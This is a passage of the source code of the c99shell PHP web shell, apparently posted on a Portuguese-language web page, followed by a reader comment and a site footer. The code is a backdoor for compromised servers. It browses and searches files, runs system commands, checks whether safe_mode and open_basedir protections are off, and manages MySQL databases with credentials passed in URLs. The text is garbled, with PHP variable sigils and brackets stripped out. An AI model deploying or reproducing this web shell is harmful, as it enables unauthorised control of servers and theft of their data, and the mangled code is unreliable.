else {return mysql_query(sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse(query)
{
query = trim(query);
arr = explode (" ",query);
/array array()
{
"METHOD"=>array(output_type),
"METHOD1"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
/
types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
result = array();
op = strtoupper(arr0);
if (is_array(typesop))
{
result"propertions" = typesop;
result"query" = query;
if (typesop == 2)
{
foreach(arr as k=>v)
{
if (strtoupper(v) == "LIMIT")
{
result"limit" = arrk1;
result"limit" = explode(",",result"limit");
if (count(result"limit") == 1) {result"limit" = array(0,result"limit"0);}
unset(arrk,arrk1);
}
}
}
}
else {return false;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch(d)
{
global found;
global found_d;
global found_f;
global search_i_f;
global search_i_d;
global a;
if (substr(d,-1) != DIRECTORY_SEPARATOR) {d .= DIRECTORY_SEPARATOR;}
h = opendir(d);
while ((f = readdir(h)) !== false)
{
if(f != "." && f != "..")
{
bool = (empty(a"name_regexp") and strpos(f,a"name") !== false) (a"name_regexp" and ereg(a"name",f));
if (is_dir(d.f))
{
search_i_d;
if (empty(a"text") and bool) {found = d.f; found_d;}
if (!is_link(d.f)) {c99fsearch(d.f);}
}
else
{
search_i_f;
if (bool)
{
if (!empty(a"text"))
{
r = @file_get_contents(d.f);
if (a"text_wwo") {a"text" = " ".trim(a"text")." ";}
if (!a"text_cs") {a"text" = strtolower(a"text"); r = strtolower(r);}
if (a"text_regexp") {bool = ereg(a"text",r);}
else {bool = strpos(" ".r,a"text",1);}
if (a"text_not") {bool = !bool;}
if (bool) {found = d.f; found_f;}
}
else {found = d.f; found_f;}
}
}
}
}
closedir(h);
}
}
if (act == "gofile") {if (is_dir(f)) {act = "ls"; d = f;} else {act = "f"; d = dirname(f); f = basename(f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global gzipencode,ft;
if (!headers_sent() and gzipencode and !in_array(ft,array("img","download","notepad")))
{
v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo v;
@ob_end_flush();
}
}
function c99shexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
if (empty(tmpdir))
{
tmpdir = ini_get("upload_tmp_dir");
if (is_dir(tmpdir)) {tmpdir = "/tmp/";}
}
tmpdir = realpath(tmpdir);
tmpdir = str_replace("",DIRECTORY_SEPARATOR,tmpdir);
if (substr(tmpdir,-1) != DIRECTORY_SEPARATOR) {tmpdir .= DIRECTORY_SEPARATOR;}
if (empty(tmpdir_logs)) {tmpdir_logs = tmpdir;}
else {tmpdir_logs = realpath(tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
safemode = true;
hsafemode = "<font color=red>ON (secure)</font>";
}
else {safemode = false; hsafemode = "<font color=green>OFF (not secure)</font>";}
v = @ini_get("open_basedir");
if (v or strtolower(v) == "on") {openbasedir = true; hopenbasedir = "<font color=red>".v."</font>";}
else {openbasedir = false; hopenbasedir = "<font color=green>OFF (not secure)</font>";}
sort = htmlspecialchars(sort);
if (empty(sort)) {sort = sort_default;}
sort1 = strtolower(sort1);
DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),DISP_SERVER_SOFTWARE)) {DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href="".surl."act=phpinfo" target="_blank"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars(DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",highlight_bg); //FFFFFF
@ini_set("highlight.comment",highlight_comment); //#FF8000
@ini_set("highlight.default",highlight_default); //#0000BB
@ini_set("highlight.html",highlight_html); //#000000
@ini_set("highlight.keyword",highlight_keyword); //#007700
@ini_set("highlight.string",highlight_string); //#DD0000
if (!is_array(actbox)) {actbox = array();}
dspact = act = htmlspecialchars(act);
disp_fullpath = ls_arr = notls = null;
ud = urlencode(d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo hsafemode; ?></b></p><p align="left"><?php
d = str_replace("",DIRECTORY_SEPARATOR,d);
if (empty(d)) {d = realpath(".");} elseif(realpath(d)) {d = realpath(d);}
d = str_replace("",DIRECTORY_SEPARATOR,d);
if (substr(d,-1) != DIRECTORY_SEPARATOR) {d .= DIRECTORY_SEPARATOR;}
d = str_replace("","",d);
dispd = htmlspecialchars(d);
pd = e = explode(DIRECTORY_SEPARATOR,substr(d,0,-1));
i = 0;
foreach(pd as b)
{
t = "";
j = 0;
foreach (e as r)
{
t.= r.DIRECTORY_SEPARATOR;
if (j == i) {break;}
j;
}
echo "<a href="".surl."act=ls&d=".urlencode(t)."&sort=".sort.""><b>".htmlspecialchars(b).DIRECTORY_SEPARATOR."</b></a>";
i;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable(d))
{
wd = true;
wdt = "<font color=green> ok </font>";
echo "<b><font color=green>".view_perms(fileperms(d))."</font></b>";
}
else
{
wd = false;
wdt = "<font color=red> Read-Only </font>";
echo "<b>".view_perms_color(d)."</b>";
}
if (is_callable("disk_free_space"))
{
free = disk_free_space(d);
total = disk_total_space(d);
if (free === false) {free = 0;}
if (total === false) {total = 0;}
if (free < 0) {free = 0;}
if (total < 0) {total = 0;}
used = total-free;
free_percent = round(100/(total/free),2);
echo "<br><b>Free ".view_size(free)." of ".view_size(total)." (".free_percent."%)</b>";
}
echo "<br>";
letters = "";
if (win)
{
v = explode("",d);
v = v0;
foreach (range("a","z") as letter)
{
bool = isdiskette = in_array(letter,safemode_diskettes);
if (!bool) {bool = is_dir(letter.":");}
if (bool)
{
letters .= "<a href="".surl."act=ls&d=".urlencode(letter.":").""".(isdiskette?" onclick="return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')"":"")."> ";
if (letter.":" != v) {letters .= letter;}
else {letters .= "<font color=green>".letter."</font>";}
letters .= " </a> ";
}
}
if (!empty(letters)) {echo "<b>Detected drives</b>: ".letters."<br>";}
}
if (count(quicklaunch) > 0)
{
foreach(quicklaunch as item)
{
item1 = str_replace("%d",urlencode(d),item1);
item1 = str_replace("%sort",sort,item1);
v = realpath(d."..");
if (empty(v)) {a = explode(DIRECTORY_SEPARATOR,d); unset(acount(a)-2); v = join(DIRECTORY_SEPARATOR,a);}
item1 = str_replace("%upd",urlencode(v),item1);
echo "<a href="".item1."">".item0."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
}
}
echo "</p></td></tr></table><br>";
if ((!empty(donated_html)) and (in_array(act,donated_act))) {echo "<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top">".donated_html."</td></tr></table><br>";}
echo "<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top">";
if (act == "") {act = dspact = "ls";}
if (act == "sql")
{
sql_surl = surl."act=sql";
if (sql_login) {sql_surl .= "&sql_login=".htmlspecialchars(sql_login);}
if (sql_passwd) {sql_surl .= "&sql_passwd=".htmlspecialchars(sql_passwd);}
if (sql_server) {sql_surl .= "&sql_server=".htmlspecialchars(sql_server);}
if (sql_port) {sql_surl .= "&sql_port=".htmlspecialchars(sql_port);}
if (sql_db) {sql_surl .= "&sql_db=".htmlspecialchars(sql_db);}
sql_surl .= "&";
?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
if (sql_server)
{
sql_sock = mysql_connect(sql_server.":".sql_port, sql_login, sql_passwd);
err = mysql_smarterror();
@mysql_select_db(sql_db,sql_sock);
if (sql_query and submit) {sql_query_result = mysql_query(sql_query,sql_sock); sql_query_error = mysql_smarterror();}
}
else {sql_sock = false;}
echo "<b>SQL Manager:</b><br>";
if (!sql_sock)
{
if (!sql_server) {echo "NO CONNECTION";}
else {echo "<center><b>Can't connect</b></center>"; echo "<b>".err."</b>";}
}
else
{
sqlquicklaunch = array();
sqlquicklaunch = array("Index",surl."act=sql&sql_login=".htmlspecialchars(sql_login)."&sql_passwd=".htmlspecialchars(sql_passwd)."&sql_server=".htmlspecialchars(sql_server)."&sql_port=".htmlspecialchars(sql_port)."&");
sqlquicklaunch = array("Query",sql_surl."sql_act=query&sql_tbl=".urlencode(sql_tbl));
sqlquicklaunch = array("Server-status",surl."act=sql&sql_login=".htmlspecialchars(sql_login)."&sql_passwd=".htmlspecialchars(sql_passwd)."&sql_server=".htmlspecialchars(sql_server)."&sql_port=".htmlspecialchars(sql_port)."&sql_act=serverstatus");
sqlquicklaunch = array("Server variables",surl."act=sql&sql_login=".htmlspecialchars(sql_login)."&sql_passwd=".htmlspecialchars(sql_passwd)."&sql_server=".htmlspecialchars(sql_server)."&sql_port=".htmlspecialchars(sql_port)."&sql_act=servervars");
sqlquicklaunch = array("Processes",surl."act=sql&sql_login=".htmlspecialchars(sql_login)."&sql_passwd=".htmlspecialchars(sql_passwd)."&sql_server=".htmlspecialchars(sql_server)."&sql_port=".htmlspecialchars(sql_port)."&sql_act=processes");
sqlquicklaunch = array("Logout",surl."act=sql");
echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars(sql_server).":".htmlspecialchars(sql_port)." as ".htmlspecialchars(sql_login)."@".htmlspecialchars(sql_server)." (password - "".htmlspecialchars(sql_passwd)."")</b><br>";
if (count(sqlquicklaunch) > 0) {foreach(sqlquicklaunch as item) {echo " <a href="".item1.""><b>".item0."</b></a> ";}}
echo "</center>";
}
echo "</td></tr><tr>";
if (!sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
else
{
//Start left panel
if (!empty(sql_db))
{
?><td width="25%" height="100%" valign="top"><a href="<?php echo surl."act=sql&sql_login=".htmlspecialchars(sql_login)."&sql_passwd=".htmlspecialchars(sql_passwd)."&sql_server=".htmlspecialchars(sql_server)."&sql_port=".htmlspecialchars(sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php

sergio abreu <dosergio@gmail.com>
Ola. um toque: o banner está sobrepondo o menu. Abs. Sergio
Muitíssimo obrigado pelo post, td que eu precisava para poder fazer o up.








Um produto Detetive.net